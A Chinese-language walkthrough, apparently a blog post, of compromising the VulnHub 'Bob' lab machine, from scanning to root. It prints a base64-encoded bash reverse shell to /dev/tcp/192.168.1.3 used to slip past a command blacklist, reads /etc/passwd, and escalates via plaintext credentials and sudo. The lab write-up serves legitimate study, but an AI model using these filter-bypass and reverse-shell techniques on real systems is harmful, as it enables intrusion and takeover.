0%

vulnHub-Bob

 审了两天的源码, 就审出来一个后台反射型xss, 除了post反射型xss外最没用的洞…干脆跑来打靶机恢复点自信.
靶机地址

前期扫描

 nmap过一遍先, 果不其然只开了80, 应该没有什么骚操作了.

 稍微浏览下网页, 似乎没有什么动态的东西, 直接上dirb. 虽然是个轻量级的目录扫描器, 但是在这种靶机环境下是坠吼的.

 靶机一贯的套路就是把敏感目录藏到robots, 这次也是一样, 跟进去能看到一个web shell的页面.


 既然这里是能看到的所有页面里唯一一个php的, 那就绝对是从这里下手了. 可是这个shell窗口似乎过滤了不少常见的命令, ls, pwd, ping, cat 这类的都会直接die掉.

撕个口子

 这时我就想起来了无敌的base64, 先试试base64读文件

1
base64 /etc/passwd


ok, base64没被ban, 先把这页php代码读出来
1
base64 ./dev_shell.php



 有了源码就好办了. 稍微审计一下就能发现这是最基础的黑名单过滤, 还是不完全的. 都0202年了还有谁会用nc -e弹shell啊… 不过我们还是用base64解码弹shell吧. 编码下shellcode
1
echo 'bash -c "bash -i > /dev/tcp/192.168.1.3/5555 <&1 "' | base64

 然后本机打开nc监听5555端口, 靶机执行下面的命令
1
echo YmFzaCAtYyAiYmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMS4zLzU1NTUgPCYxICIK | base64 -d | bash

 ok, 新鲜的shell回来了

后期提权

 稍微目录漫游下就能发现当前的 elliot用户目录下面有敏感文件, 里面存着这个用户的密码.

 先用python生成个靠谱的shell环境, 不然等下没法su

1
python -c "import pty;pty.spawn('/bin/bash')"

su到这个用户下面

 这个沙雕靶机关了输入缓冲区, 每个字符都会重复一遍…好在对命令执行没有什么影响.
 我本来以为要从这个用户下面直接get root, 结果磨了半天都没有什么进展. 然后就换到了bob的用户目录下摸一摸.

 很明显. login.txt.gpg是个gpg加密的文件, 里面大概就是bob的登录信息. gpg密码应该在Secret里面, 一路跟进去.
 可惜了, 还以为真的有车坐, 结果是个空文件.

 倒出来, 干正事. 发现一路跟到底, 是一个笔记一样的东西… 我最烦的就是这种脑洞题…

 从这里我就没办法了, 就去找了下wp. 鬼知道这是个藏头诗, 吃了母语不是英语的亏…
 总之头部拿下来就是前面的login的密码了. 解码之后拿到bob的登录密码.

 之后只要su bob就可以了. 还能发现bob可以sudo任何命令, 直接从这里sudo su变成root.

 最后的flag放在根目录下, 只有root有权read.

总结

 我写wp的时候才发现这是个18年的靶机, 怪不得ban掉的东西这么怪. 顺便, “出脑洞题的先死个🐎” ————赵师傅